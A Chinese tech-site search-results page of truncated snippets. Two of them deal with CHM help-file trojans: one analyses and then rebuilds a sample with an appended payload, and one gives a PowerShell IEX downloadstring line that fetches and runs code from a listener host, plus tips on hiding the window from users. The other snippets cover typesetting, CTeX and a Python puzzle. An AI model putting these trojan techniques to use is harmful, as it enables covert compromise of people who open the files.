首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

CHM木马的分析与利用

一、木马行为分析 CHM文件是经过压缩的各类资源的集合,使用7z解压软件直接打开木马样本,如图所示,可以发现CHM文件内部包含一个说明.html文件。 ?...打开说明.HTM文件可以发现里面存着混淆过的JS脚本代码: ? 进行一番解密并写下粗略的注释 PS:本人并未学过JS 所以并不懂JS 以下有任何错误请大家指出 ? ?...可以看出最关键的代码应该是 var d = '<OBJECT id=UNRAR classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1...后门 二、再创造 思路: 样本的JS代码基本不变,只需去掉那些无用的文件,解压缩释放出1.reg与payload即可 1.反编译样本CHM(这里使用EasyCHM) ?...4.编译CHM ? 5.将压缩包并写入CHM(利用C32Asm) ? 将payload.rar粘贴到CHM的最后面并保存 ? 6.测试 ? OK,成功。

2.5K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    制作chm格式木马病毒

    DefaultCredentials;IEX $M.downloadstring('http://192.168.17.131:8888/'); 用户只要在dos窗口或者powershell环境运行上述代码...4.CHM后门制作 里面写入上述3中的powershell代码是不是就直接能生成CHM后门了呢? 答案是:理论上是的。...直接在chm中写入powershell代码你会发现,执行powershell会弹出一个黑框?代码执行了没有生效?...6.总结 普通用户由于对CHM认知不够,对CHM文件防御心理较弱,因此制作CHM木马容易被执行。而CHM天然对脚本的支持使得制作CHM木马十分简便。...可是由于powershell脚本会弹出黑框,容易被发现,因此需要先生成中间层的不容易被发现的简易shell,来执行powershell脚本代码。最终实现不弹黑框、功能强大的shell环境。

    5.7K10

    排版建议

    最近有关注诸多大佬的博客亦或微信公众号,也时常阅读一些好的文章,它们的排版风格亦是各不相同。大概是大佬都专注于叠代码的缘故,对于文章的排版好坏可能抱着得过且过的态度,有部分的文章排版实在不堪入目。...文章无过,希望大佬们能够听一下我的排版建议。 对于我们而言,考虑到每个人的审美标准不同,所以一个好的排版其实也是因人而异。但总的来说,一篇技术博文的排版落落大方,那么它看起来也将是赏心悦目的。...最后的结果是让读者心烦意乱,不停抱怨,那文章的排版亟待提高。 推荐微信公众号的字体采用15px或16px,如果太小,会显得文章密密麻麻,很是糟糕,而字体太大文章第一感觉会让人觉得不好看呢。...很多人都了解,阅读的眼睛看起来最舒服的并不是纯黑,而是深灰色,而这个在公众号排版颜色中大概是 #585858。 相关配图 文章的配图也会显得极其重要,没有人会钟意于被一张占据整个页面的文章。

    1.1K20

    用Word排版代码out了,推荐这个工具

    2018 06 21 算法伪代码排版工具CTeX 多少次你看到别人的的伪代码排版如此完美而惊艳,心中不免好奇,怎么设计的?...今天,和大家一起学习一款流行的排版利器:CTeX 1排版效果展示 下面演示的是动态规划求最大连乘数组算法的伪代码,关于这个题目的详细介绍可参考:详解连续子数组的最大累乘之动态规划解法 利用的排版工具为...CTeX,排版语言也非常容易上手。...2 排版语法 这个排版格式使用的包algorithmicx模式(命令的首字母大写),里面用的较多的 \State 用来声明后面的语句,大家看一看,接下来就可以动手为自己的算法排版代码了。...ENSURE \RETURN \PRINT \COMMENT{} \AND, \OR, \XOR, \NOT, \TO, \TRUE, \FALSE 3 排版代码

    8.8K00

    Python|图形排版

    假设纸张的宽度是 M,小明使用的文档编辑工具会用以下方式对图片进行自动排版: 1. 该工具会按照图片顺序,在宽度 M 以内,将尽可能多的图片排在一行。该行的高度是行内最高的图片的高度。...(分割线以上为列标尺,分割线以下为排版区域;数字组成的矩形为第x张图片占用的版面) 0123456789 ---------- 111 111 333 11122333 11122333 2....如果当前行剩余宽度为0,该工具会从下一行开始继续对剩余的图片进行排版,直到所有图片都处理完毕。此时所有行的总高度和就是这 N 张图片的排版高度。...他希望剩余N-1张图片按原顺序的排版高度最低,你能求出最低高度是多少么? 【输入格式】 第一行包含两个整数 M 和 N,分别表示纸张宽度和图片的数量。...示例代码: import math#导入库,方便ceil函数向上取整M,N=map(int,input().split(' '))d=[]for i in range(N): d.append(

    1.8K20
    领券